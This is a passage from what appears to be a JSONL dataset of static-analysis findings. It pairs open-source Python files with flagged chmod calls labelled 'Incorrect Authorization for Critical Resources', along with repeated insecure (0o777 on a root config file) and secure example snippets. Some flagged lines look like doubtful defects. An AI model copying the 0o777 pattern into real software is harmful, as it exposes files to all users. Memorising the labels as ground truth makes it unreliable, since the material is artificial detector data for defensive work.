\"charmhelpers\" is in CHARMDIR or CHARMDIR/hooks\n for segment in ['.', 'hooks']:\n nrpe_files_dir = os.path.abspath(os.path.join(\n os.getenv('CHARM_DIR'),\n segment,\n 'charmhelpers',\n 'contrib',\n 'openstack',\n 'files'))\n if os.path.isdir(nrpe_files_dir):\n break\n else:\n raise RuntimeError(\"Couldn't find charmhelpers directory\")\n if not os.path.exists(NAGIOS_PLUGINS):\n os.makedirs(NAGIOS_PLUGINS)\n for fname in glob.glob(os.path.join(nrpe_files_dir, \"check_*\")):\n if os.path.isfile(fname):\n shutil.copy2(fname,\n os.path.join(NAGIOS_PLUGINS, os.path.basename(fname)))\n\n\ndef add_haproxy_checks(nrpe, unit_name):\n \"\"\"\n Add checks for each service in list\n\n :param NRPE nrpe: NRPE object to add check to\n :param str unit_name: Unit name to use in check description\n \"\"\"\n nrpe.add_check(\n shortname='haproxy_servers',\n description='Check HAProxy {%s}' % unit_name,\n check_cmd='check_haproxy.sh')\n nrpe.add_check(\n shortname='haproxy_queue',\n description='Check HAProxy queue depth {%s}' % unit_name,\n check_cmd='check_haproxy_queue_depth.sh')", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 433, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "433"}}, {"lineNo": 441, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "cc29cb0f0cdf20722ba3f0b9e510c73ce13cb56df197bcbbd2dbae7be068eba8", "license": {"spdx": ["MIT"], "repo": "marble/Toolchain_RenderDocumentation", "path": "18-Make-and-build/42-Latex/run_45-Copy-latex-typo3-stuff.py", "repo_head_hexsha": "1b206c0478b7418a628233e9e1fd36eeb4224185", "stack_hexsha": "1db3723a72818283ab89562ed96cdc5069ece039", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 127, "entireCode": "#!/usr/bin/env python\n# coding: utf-8\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nimport os\nimport re\nimport shutil\nimport stat\nimport sys\nimport tct\n\nfrom os.path import exists as ospe, join as ospj\nfrom tct import deepget\n\nparams = tct.readjson(sys.argv[1])\nbinabspath = sys.argv[2]\nfacts = tct.readjson(params['factsfile'])\nmilestones = tct.readjson(params['milestonesfile'])\nreason = ''\nresultfile = params['resultfile']\nresult = tct.readjson(resultfile)\nloglist = result['loglist'] = result.get('loglist', [])\ntoolname = params['toolname']\ntoolname_pure = params['toolname_pure']\nworkdir = params['workdir']\nexitcode = CONTINUE = 0\n\n\n# ==================================================\n# Make a copy of milestones for later inspection?\n# --------------------------------------------------\n\nif 0 or milestones.get('debug_always_make_milestones_snapshot'):\n tct.make_snapshot_of_milestones(params['milestonesfile'], sys.argv[1])\n\n\n# ==================================================\n# Helper functions\n# --------------------------------------------------\n\ndef lookup(D, *keys, **kwdargs):\n result = deepget(D, *keys, **kwdargs)\n loglist.append((keys, result))\n return result\n\n\n# ==================================================\n# define\n# --------------------------------------------------\n\ncopied_latex_resources = []\nrun_latex_make_sh_file = None\nxeq_name_cnt = 0\n\n\n# ==================================================\n# Check params\n# --------------------------------------------------\n\nif exitcode == CONTINUE:\n loglist.append('CHECK PARAMS')\n\n make_latex = lookup(milestones, 'make_latex', default=None)\n if not make_latex:\n CONTINUE == -2\n reason = 'Nothing to do'\n\nif exitcode == CONTINUE:\n build_latex = lookup(milestones, 'build_latex', default=None)\n builder_latex_folder = lookup(milestones, 'builder_latex_folder', default=None)\n latex_contrib_typo3_folder = lookup(milestones,\n 'latex_contrib_typo3_folder',\n default=None)\n if not (1\n and build_latex\n and builder_latex_folder\n and latex_contrib_typo3_folder):\n CONTINUE = -2\n reason = 'Bad params or nothing to do'\n\nif exitcode == CONTINUE:\n loglist.append('PARAMS are ok')\nelse:\n loglist.append('Bad PARAMS or nothing to do')\n\n\n# ==================================================\n# work\n# --------------------------------------------------\n\nif exitcode == CONTINUE:\n if not os.path.isdir(latex_contrib_typo3_folder):\n exitcode = 22\n reason = 'Folder does not exist'\n\nif exitcode == CONTINUE:\n foldername = os.path.split(latex_contrib_typo3_folder)[1]\n destpath = ospj(builder_latex_folder, foldername)\n shutil.copytree(latex_contrib_typo3_folder, destpath)\n\nif exitcode == CONTINUE:\n run_latex_make_sh_file = ospj(builder_latex_folder, 'run-make.sh')\n f2text = (\n \"#!/bin/bash\\n\"\n \"\\n\"\n \"# This is run-make.sh\\n\"\n \"\\n\"\n 'scriptdir=$( cd $(dirname \"$0\") ; pwd -P )'\n \"\\n\"\n \"# cd to this dir\\n\"\n \"pushd \\\"$scriptdir\\\" >/dev/null\\n\"\n \"\\n\"\n \"# set environment var pointing to the folder and run make\\n\"\n \"TEXINPUTS=::texmf_typo3 make\\n\"\n \"\\n\"\n \"popd >/dev/null\\n\"\n \"\\n\"\n )\n with open(run_latex_make_sh_file, 'w') as f2:\n f2.write(f2text)\n\n file_permissions = (os.stat(run_latex_make_sh_file).st_mode | stat.S_IXUSR\n | stat.S_IXGRP\n | stat.S_IXOTH)\n os.chmod(run_latex_make_sh_file, file_permissions)\n\nif exitcode == CONTINUE:\n makefile_path = ospj(builder_latex_folder, 'Makefile')\n makefile_original_path = makefile_path + '.original'\n if ospe(makefile_path) and not ospe(makefile_original_path):\n shutil.copy2(makefile_path, makefile_original_path)\n with open(makefile_path, 'rb') as f1:\n data = f1.read()\n data, cnt = re.subn(\"LATEXMKOPTS[ ]*=[ ]*\\n\", \"\\n\\n\\n\\nLATEXMKOPTS = -interaction=nonstopmode\\n\\n\\n\\n\\n\", data)\n if cnt:\n with open(makefile_path, 'wb') as f2:\n f2.write(data)\n\n\n# ==================================================\n# Set MILESTONE\n# --------------------------------------------------\n\nif copied_latex_resources:\n result['MILESTONES'].append({'copied_latex_resources':\n copied_latex_resources})\n\nif run_latex_make_sh_file:\n result['MILESTONES'].append({'run_latex_make_sh_file':\n run_latex_make_sh_file})\n\n\n# ==================================================\n# save result\n# --------------------------------------------------\n\ntct.save_the_result(result, resultfile, params, facts, milestones, exitcode, CONTINUE, reason)\n\n\n# ==================================================\n# Return with proper exitcode\n# --------------------------------------------------\n\nsys.exit(exitcode)", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "103"}}, {"lineNo": 127, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "2fab98553efb1d3963ca24c98c284f953b5001eb39292bfac66be362f7560907", "license": {"spdx": ["MIT"], "repo": "SmithB/SMBcorr", "path": "scripts/ftp_mar_data.py", "repo_head_hexsha": "7c35cf8383058986fd82b28beab3c5580f9f8667", "stack_hexsha": "9cc8a27b231af691d3fbf8c4702b4f91f01e88a2", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 104, "entireCode": "#!/usr/bin/env python\nu\"\"\"\nftp_mar_data.py\nWritten by (05/2020)\n\nSyncs MAR regional climate outputs for a given ftp url\n ftp://ftp.climato.be/fettweis\n\nCALLING SEQUENCE:\n python ftp_mar_data.py --directory= \n\nINPUTS:\n full ftp url\n\nCOMMAND LINE OPTIONS:\n --help: list the command line options\n -P X, --np=X: Run in parallel with X number of processes\n -D X, --directory=X: full path to working data directory\n -Y X, --year=X: Reduce files to years of interest\n -C, --clobber: Overwrite existing data in transfer\n -M X, --mode=X: Local permissions mode of the directories and files synced\n\nUPDATE HISTORY:\n Updated 05/2020: added years option to reduce list of files\n Updated 11/2019: added multiprocessing option to run in parallel\n Written 07/2019\n\"\"\"\nfrom __future__ import print_function\n\nimport sys\nimport getopt\nimport os\nimport re\nimport calendar, time\nimport ftplib\nimport traceback\nimport posixpath\nimport multiprocessing\nif sys.version_info[0] == 2:\n import urlparse\nelse:\n import urllib.parse as urlparse\n\n#-- PURPOSE: check internet connection\ndef check_connection():\n #-- attempt to connect to ftp host for MAR datasets\n try:\n f = ftplib.FTP('ftp.climato.be')\n f.login()\n f.voidcmd(\"NOOP\")\n except IOError:\n raise RuntimeError('Check internet connection')\n else:\n return True\n\n#-- PURPOSE: sync local MAR files with ftp and handle error exceptions\ndef ftp_mar_data(netloc, remote_file, local_file, CLOBBER=False, MODE=0o775):\n #-- try to download the file\n try:\n #-- connect and login to MAR ftp server\n ftp = ftplib.FTP(netloc)\n ftp.login()\n ftp_mirror_file(ftp,remote_file,local_file,CLOBBER=CLOBBER,MODE=MODE)\n except:\n #-- if there has been an error exception\n #-- print the type, value, and stack trace of the\n #-- current exception being handled\n print('process id {0:d} failed'.format(os.getpid()))\n traceback.print_exc()\n else:\n #-- close the ftp connection\n ftp.quit()\n\n#-- PURPOSE: pull file from a remote host checking if file exists locally\n#-- and if the remote file is newer than the local file\ndef ftp_mirror_file(ftp, remote_file, local_file, CLOBBER=False, MODE=0o775):\n #-- if file exists in file system: check if remote file is newer\n TEST = False\n OVERWRITE = ' (clobber)'\n #-- get last modified date of remote file and convert into unix time\n mdtm = ftp.sendcmd('MDTM {0}'.format(remote_file))\n remote_mtime = calendar.timegm(time.strptime(mdtm[4:],\"%Y%m%d%H%M%S\"))\n #-- check if local version of file exists\n if os.access(local_file, os.F_OK):\n #-- check last modification time of local file\n local_mtime = os.stat(local_file).st_mtime\n #-- if remote file is newer: overwrite the local file\n if (remote_mtime > local_mtime):\n TEST = True\n OVERWRITE = ' (overwrite)'\n else:\n TEST = True\n OVERWRITE = ' (new)'\n #-- if file does not exist locally, is to be overwritten, or CLOBBER is set\n if TEST or CLOBBER:\n #-- Printing files transferred\n print('{0} -->'.format(posixpath.join('ftp://',ftp.host,remote_file)))\n print('\\t{0}{1}\\n'.format(local_file,OVERWRITE))\n #-- copy remote file contents to local file\n with open(local_file, 'wb') as f:\n ftp.retrbinary('RETR {0}'.format(remote_file), f.write)\n #-- keep remote modification time of file and local access time\n os.utime(local_file, (os.stat(local_file).st_atime, remote_mtime))\n os.chmod(local_file, MODE)\n\n#-- PURPOSE: help module to describe the optional input parameters\ndef usage():\n print('\\nHelp: {}'.format(os.path.basename(sys.argv[0])))\n print(' -P X, --np=X\\tRun in parallel with X number of processes')\n print(' -D X, --directory=X\\tWorking Data Directory')\n print(' -Y X, --year=X\\tReduce files to years of interest')\n print(' -C, --clobber\\t\\tOverwrite existing data in transfer')\n print(' -M X, --mode=X\\t\\tPermission mode of directories and files\\n')\n\n#-- This is the main part of the program that calls the individual modules\ndef main():\n #-- Read the system arguments listed after the program\n long_options = ['help','np=','directory=','year=','clobber','mode=']\n optlist,arglist = getopt.getopt(sys.argv[1:],'hP:D:Y:CM:',long_options)\n\n #-- command line parameters\n local_dir = os.getcwd()\n #-- years to sync (default all)\n YEARS = '\\d+'\n #-- number of processes\n PROCESSES = 1\n CLOBBER = False\n #-- permissions mode of the local directories and files (number in octal)\n MODE = 0o775\n for opt, arg in optlist:\n if opt in ('-h','--help'):\n usage()\n sys.exit()\n elif opt in (\"-D\",\"--directory\"):\n local_dir = os.path.expanduser(arg)\n elif opt in (\"-Y\",\"--year\"):\n YEARS = '|'.join(arg.split(','))\n elif opt in (\"-P\",\"--np\"):\n PROCESSES = int(arg)\n elif opt in (\"-C\",\"--clobber\"):\n CLOBBER = True\n elif opt in (\"-M\",\"--mode\"):\n MODE = int(arg, 8)\n\n #-- need to input a ftp path\n if not arglist:\n raise IOError('Need to input a path to the MAR ftp server')\n\n #-- check internet connection\n if check_connection():\n #-- check if local directory exists and recursively create if not\n os.makedirs(local_dir,MODE) if not os.path.exists(local_dir) else None\n\n #-- connect and login to MAR ftp server\n #-- get list of files to download\n parsed_ftp = urlparse.urlparse(arglist[0])\n ftp = ftplib.FTP(parsed_ftp.netloc)\n ftp.login()\n # find files and reduce to years of interest if specified\n remote_files = sorted([f for f in ftp.nlst(parsed_ftp.path)\n if re.search(YEARS,posixpath.basename(f))])\n ftp.quit()\n\n #-- run in parallel with multiprocessing Pool\n pool = multiprocessing.Pool(processes=PROCESSES)\n #-- download remote MAR files to local directory\n for j,remote_file in enumerate(remote_files):\n #-- extract filename\n url,fi = posixpath.split(remote_file)\n args = (parsed_ftp.netloc, remote_file, os.path.join(local_dir,fi),)\n kwds = dict(CLOBBER=CLOBBER, MODE=MODE)\n pool.apply_async(ftp_mar_data, args=args, kwds=kwds)\n #-- start multiprocessing jobs\n #-- close the pool\n #-- prevents more tasks from being submitted to the pool\n pool.close()\n #-- exit the completed processes\n pool.join()\n\n#-- run main program\nif __name__ == '__main__':\n main()", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 95, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "96"}}, {"lineNo": 104, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "df239e7e8bf3fd2f36cfdac29a9d12d93beb3b9dfccd80725a74de299bae747b", "license": {"spdx": ["MIT"], "repo": "ExoWorldsSpies/hops", "path": "post_setup.py", "repo_head_hexsha": "a33e434befe17318c064210a289b453c6f91b44f", "stack_hexsha": "b1c52df1e5fb7a024b2c1224bff7be902516702c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 39, "entireCode": "\nimport os\nimport glob\nimport platform\nimport sys\nsys.path = sys.path[1:]\n\nfrom hops import __get_abspath__ as hops__get_abspath__\n\nname = 'hops'\n\nhere = os.path.abspath(os.path.dirname(__file__))\nshortcut = open(os.path.join(here, 'shortcut.txt')).read()\nshortcut = shortcut.replace('{{x}}', hops__get_abspath__())\n\n# create shortcut\nprint('\\n\\n************\\n')\n\nexecutable = {'Darwin': 'command', 'Linux': 'sh', 'Windows': 'cmd'}[platform.system()]\n\ntry:\n shortcut_path = os.path.join(os.path.expanduser('~'), 'Desktop', name + '.' + executable)\n w = open(shortcut_path, 'w')\n w.write(shortcut)\n w.close()\nexcept:\n try:\n shortcut_path = os.path.join(glob.glob(os.path.join(os.path.expanduser('~'), '*', 'Desktop'))[0], name + '.' + executable)\n w = open(shortcut_path, 'w')\n w.write(shortcut)\n w.close()\n except IndexError:\n shortcut_path = os.path.join(os.path.expanduser('~'), name + '.' + executable)\n w = open(shortcut_path, 'w')\n w.write(shortcut)\n w.close()\n\nif platform.system() == 'Darwin':\n os.system('chmod 755 ' + shortcut_path)\nelif platform.system() == 'Linux':\n os.system('chmod +x ' + shortcut_path)\n\n\nprint('HOPS successfully installed.')\nprint('The shortcut has been saved here:\\n\\n{0}\\n\\n'\n 'You can freely move this file to your preferred location.'.format(shortcut_path))", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "38"}}, {"lineNo": 39, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "c029bb6b9f45d2eaa5092d939f34999f7a975840a47c01ec14cf8664ec3497fc", "license": {"spdx": ["MIT"], "repo": "Ramin-RX7/RX7-Lib", "path": "Classes/Filex.py", "repo_head_hexsha": "28d2c4bc316b031bb05700c72e5119a7ff2d0ae7", "stack_hexsha": "2f663a1388c7fd371ab73b9a971e0941aa3ca3b1", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 147, "entireCode": "'''\nFilex Module is Sub-Module of rx7 library.\nIt contains 2 classes: \n1- files: Static method\n2- File: create File object and use its methods. \n(If you are using rx7 module, don't use this and directly use rx7.files and rx7.File)\n(Usually I use first one when I need a file only one time in my code \nand use 2nd one when i'm working with a file more than 1 time.)\n\n'''\n\nimport os,shutil,subprocess\nfrom typing import Union\n\nclass files:\n '''\n (STATIC METHODS)\\n\n Actions and information about files.\\n\n (READ FUNCTIONS DOCSTRING)\n\n GET INFORMATION:\n - exists()\n - size()\n - abspath()\n - mdftime()\n - acstime()\n - content (read function)()\n - is file()\n - is dir()\n - is readonly()\n - is hidden()\n\n ACTIONS:\n - remove()\n - rename()\n - move()\n - copy()\n - hide()\n - read only()\n - write()\n '''\n @staticmethod\n def size(path):\n '''\n return size of the file in byte(s).\n Also work on directories.\n '''\n return os.path.getsize(path)\n #rooye pooshe emtehan she\n @staticmethod\n def remove(path,force=False):\n '''\n Use this to delete a file or a directory.\n If force is True it will delete non-empty directories.\n '''\n if os.path.isfile(path):\n os.remove(path)\n else:\n if force: \n shutil.rmtree(path)\n else:\n try:\n os.rmdir(path)\n except OSError:\n raise OSError(f\"[WinError 145] The directory is not empty: '{path}'\" + '\\n' + ' '*23 + \n '(Use force=True as an argument of remove function to remove non-empty directories.)') from None\n @staticmethod\n def rename(old_name,new_name):\n '''Rename files with this function.'''\n os.rename(old_name,new_name)\n @staticmethod\n def abspath(path):\n '''\n return absolute path of given path.\n '''\n return os.path.abspath(path)\n @staticmethod\n def exists(path):\n '''\n Search for the file And Returns a boolean.\n if file exists: True\n else: False\n '''\n return os.path.exists(path)\n @staticmethod\n def mdftime(path):\n '''\n Get last modify time of the path.\n '''\n return os.path.getmtime(path)\n @staticmethod\n def acstime(path): \n '''\n Get last access time of the path.\n '''\n return os.path.getatime(path)\n # change to date bayad biad\n @staticmethod\n def move(src,dst):\n '''\n Move (cut) file/directory from crs to dst.\n '''\n shutil.move(src,dst)\n #live_path= dst\n #Baraye folder hast ya na?\n @staticmethod\n def copy(src,dest,preserve_metadata= True):\n '''\n Copy the file from src to destination. \n preserve_metadata is for preserving metadata of file when copying.\n (You can use it instead of rename too.\n e.g:\n copy('D:\\\\Test.py','E:\\\\Ali.py')\n (It copies Test.py to E drive and renames it to Ali.py)\n )\n '''\n if files.isdir(src):\n shutil.copytree(src,dest)\n else:\n if preserve_metadata: shutil.copy2(src,dest)\n else: shutil.copy(src,dest)\n\n @staticmethod\n def hide(path,mode=True):\n '''\n Hide file or folder.\n If mode==False: makes 'not hide'\n (ONLY WINDOWS)\n '''\n try:\n import win32api, win32con\n except:\n raise ImportError('Please install pywin32 via pip')\n if mode:\n win32api.SetFileAttributes(path,win32con.FILE_ATTRIBUTE_HIDDEN)\n else:\n win32api.SetFileAttributes(path,win32con.FILE_ATTRIBUTE_NORMAL)\n @staticmethod\n def read_only(path,mode=True):\n '''\n Make file attribute read_only.\n If mode==False: makes 'not read_only'\n '''\n if type(mode)==bool:\n from stat import S_IREAD,S_IWUSR\n if mode==True:\n os.chmod(path, S_IREAD)\n elif mode==False:\n os.chmod(path, S_IWUSR)\n else:\n raise Exception('Second argumant (mode) should be boolean.')\n @staticmethod\n def read(path):\n '''\n This can help you to read your file faster.\n Example:\n read('C:\\\\users\\\\Jack\\\\test.txt')\n ==> \"Content of 'test.txt' will be shown.\"\n '''\n with open(path) as f:\n FileR= f.read()\n return FileR\n @staticmethod\n def write(file_path,text=None,mode='replace',start=''):\n '''\n With this method you can change content of the file. \n file: File you want to change its content.\n content: Content you want to add to file.\n mode: Type of writing method.\n 'a' or 'continue' for add content to end of the file. \n 'w' or 'replace' for overwriting to file content.\n start: I use this when I use mode='continue'\n ''' \n if mode=='replace':\n op= open(file_path,mode='w')\n if text==None:\n text= input('Type what you want.\\n\\n')\n op.write(text)\n op.close()\n elif mode=='continue':\n '''opr= open(file,mode='r')\n FileR= opr.read()\n op= open(file,mode='w')'''\n op=open(file_path,'a')\n if text==None:\n text= input('Type what you want to add in the end of the file.\\n\\n')\n op.write(start+text)\n op.close() \n else:\n raise ValueError('mode can only be: replace(default) or continue Not \"{0}\"'.format(mode))\n @staticmethod\n def isdir(path):\n return os.path.isdir(path)\n @staticmethod\n def isfile(path):\n return os.path.isfile(path)\n @staticmethod\n def is_readonly(path):\n '''\n Return True if path is readonly else False.\n (May Not Work in Linux)\n '''\n return subprocess.getoutput(f'dir /ar {path} >nul 2>nul && echo True || echo False')\n @staticmethod\n def is_hidden(path):\n \"\"\"\n Check whether a file is presumed hidden, either because\n the pathname starts with dot or because the platform\n indicates such.\n Return True if File or Directory is hidden.\n (Work on both Linux and Windows)\n \"\"\"\n import platform\n full_path = os.path.abspath(path)\n name = os.path.basename(full_path)\n def no(path): return False\n platform_hidden = globals().get('is_hidden_' + platform.system(), no)\n return name.startswith('.') or platform_hidden(full_path)\n @staticmethod\n def is_hidden_Windows(path):\n import ctypes\n res = ctypes.windll.kernel32.GetFileAttributesW(path)\n assert res != -1\n return bool(res & 2)\n @staticmethod\n def search_file(pattern, path='.\\\\',return_mode: List['list','generator']= 'list'):\n '''\n Search for files in path.\n Return list or generator.\n pattern:\n - 'x.py' : search for 'x.py' in path.\n - '*.py' : search for all files with .py extension in path.\n - '*.*' : search for all files in path\n - '**/*' : search for any file in path and also all sub-directories.\n - '**/*.py: search for all python files in path and also sub-directories.\n - 'mydir/**/*.py' : search for all python files in path/mydir/ and all of its sub-directories.\n '''\n import glob\n if str(return_mode).lower() in ('list','generator'):\n if return_mode=='list': return glob.glob(pattern, recursive=True)\n else: return glob.iglob(pattern, recursive=True)\n else:\n if type(return_mode)==str:\n raise ValueError(f\"return_mode van be 'list' or 'generator' not {return_mode}\")\n else:\n raise TypeError(f\"return_mode type should be str and it should be in ['list', 'generator']\")\n @staticmethod\n def search_content(path,word):\n ALL= [val for sublist in [[os.path.join(i[0], j) for j in i[2]] for i in os.walk(path)] for val in sublist]\n '''lst=[]\n for file in ALL:\n if word in rx.read(file):\n lst.append(file)\n return lst'''\n return [file for file in ALL if word in open(file).read()]\n @staticmethod\n def mkdir(path):\n path = os.path.normpath(path)\n NEW= ''\n for FILE in path.split('\\\\'):\n NEW+= FILE+'\\\\'\n try: os.mkdir(NEW)\n except (FileExistsError,FileNotFoundError): pass\n @staticmethod\n def generate_tree(dir_path, level: int=-1, limit_to_directories: bool=False,\n length_limit: int=1000, print_info: bool=True):\n \"\"\"Given a directory Path object return a visual tree structure\"\"\"\n from pathlib import Path\n from itertools import islice\n space= ' '; branch = '│ '; tee= '├── '; last= '└── '\n dir_path = Path(dir_path) # accept string coerceable to Path\n files = 0\n directories = 0\n def inner(dir_path: Path, prefix: str='', level=-1):\n nonlocal files, directories\n if not level: return # 0, stop iterating\n if limit_to_directories: contents = [d for d in dir_path.iterdir() if d.is_dir()]\n else: contents = list(dir_path.iterdir())\n pointers = [tee] * (len(contents) - 1) + [last]\n for pointer, path in zip(pointers, contents):\n if path.is_dir():\n yield prefix + pointer + path.name\n directories += 1\n extension = branch if pointer == tee else space \n yield from inner(path, prefix=prefix+extension, level=level-1)\n elif not limit_to_directories:\n yield prefix + pointer + path.name\n files += 1\n RETURN=''\n RETURN+=dir_path.name+'\\n'\n iterator = inner(dir_path, level=level)\n for line in islice(iterator, length_limit): RETURN+=line+'\\n'\n if next(iterator, None): RETURN+=f'... length_limit, {length_limit}, reached, counted:'\n if print_info: RETURN+=f'\\n{directories} directories' + (f', {files} files' if files else '')\n return RETURN\n\n class MEMBERS:\n @staticmethod\n def all_exactdir(dir):\n return os.listdir(dir)\n @staticmethod\n def all_all_sep(dir):\n return [i for i in os.walk(dir)]\n @staticmethod\n def files_exactdir(dir):\n return [i for i in os.walk(dir)][0][2]\n @staticmethod\n def files_all(dir):\n return [val for sublist in [[os.path.join(i[0], j) for j in i[2]] for i in os.walk(dir)] for val in sublist]\n @staticmethod\n def files_all_sep(dir):\n return [[os.path.join(i[0], j) for j in i[2]] for i in os.walk(dir)]\n @staticmethod\n def dirs_exactdir(dir):\n return sorted([i for i in os.listdir(dir) if i not in [i for i in os.walk(dir)][0][2]])\n @staticmethod\n def dirs_all(dir):\n return [TPL[0] for TPL in [i for i in os.walk(dir)]]\n", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4. with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 146, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "146"}}, {"lineNo": 147, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "806d57c7f7a145b1e1c4e31c1738759640ee1ecdb9ebf90e5088f5c634c00921", "license": {"spdx": ["BSD-3-Clause"], "repo": "bomtuckle/pyrolite", "path": "pyrolite/util/general.py", "repo_head_hexsha": "c0af0ade14ff26b4e9fdd5a033b27e73df085c55", "stack_hexsha": "23d6a4141df0e16aef4fa66e6b4a9f6a0049f94e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 163, "entireCode": "import os\nimport re\nimport time\nimport shutil\nfrom tempfile import mkdtemp\nimport operator\nfrom collections.abc import Mapping\nfrom pathlib import Path\nimport datetime\nfrom .log import Handle\n\nlogger = Handle(__name__)\n\n_FLAG_FIRST = object()\n\n\nclass Timewith:\n def __init__(self, name=\"\"):\n \"\"\"Timewith context manager.\"\"\"\n self.name = name\n self.start = time.time()\n self.checkpoints = []\n\n @property\n def elapsed(self):\n return time.time() - self.start\n\n def checkpoint(self, name=\"\"):\n elapsed = self.elapsed\n msg = \"{time} {timer}: {checkpoint} in {elapsed:.3f} s.\".format(\n timer=self.name,\n time=datetime.datetime.now().strftime(\"%H:%M:%S\"),\n checkpoint=name,\n elapsed=elapsed,\n ).strip()\n logger.info(msg)\n self.checkpoints.append((name, elapsed))\n\n def __enter__(self):\n \"\"\"Object returned on entry.\"\"\"\n return self\n\n def __exit__(self, type, value, traceback):\n \"\"\"Code to execute on exit.\"\"\"\n self.checkpoint(\"Finished\")\n self.checkpoints.append((\"Finished\", self.elapsed))\n\n\ndef temp_path(suffix=\"\"):\n \"\"\"Return the path of a 